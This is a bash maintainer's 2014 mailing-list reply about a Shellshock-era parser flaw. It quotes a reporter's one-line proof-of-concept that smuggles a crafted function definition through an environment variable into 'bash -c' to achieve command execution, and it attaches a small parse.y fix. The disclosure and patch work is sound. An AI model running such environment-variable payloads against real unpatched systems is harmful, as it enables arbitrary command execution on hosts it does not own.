On 9/24/14, 6:50 PM, Wesley Hirsch wrote:
> Also, you can embed arguments, allowing for arbitrary execution:
>
> $ env -i X='() { (a)=>\' bash -c 'echo curl -s https://bugzilla.redhat.com/';
> head echo
> bash: X: line 1: syntax error near unexpected token `='
> bash: X: line 1: `'
This is an unrelated problem -- I can get to it via a different code
path -- with a simple fix. I've attached it.
Chet
--
``The lyf so short, the craft so long to lerne.'' - Chaucer
``Ars longa, vita brevis'' - Hippocrates
Chet Ramey, ITS, CWRU [email protected] http://cnswww.cns.cwru.edu/~chet/
*** ../bash-20140912/parse.y 2014-08-26 15:09:42.000000000 -0400
--- parse.y 2014-09-24 22:47:28.000000000 -0400
***************
*** 2959,2962 ****
--- 2959,2964 ----
word_desc_to_read = (WORD_DESC *)NULL;
+ eol_ungetc_lookahead = 0;
+
current_token = '\n'; /* XXX */
last_read_token = '\n';
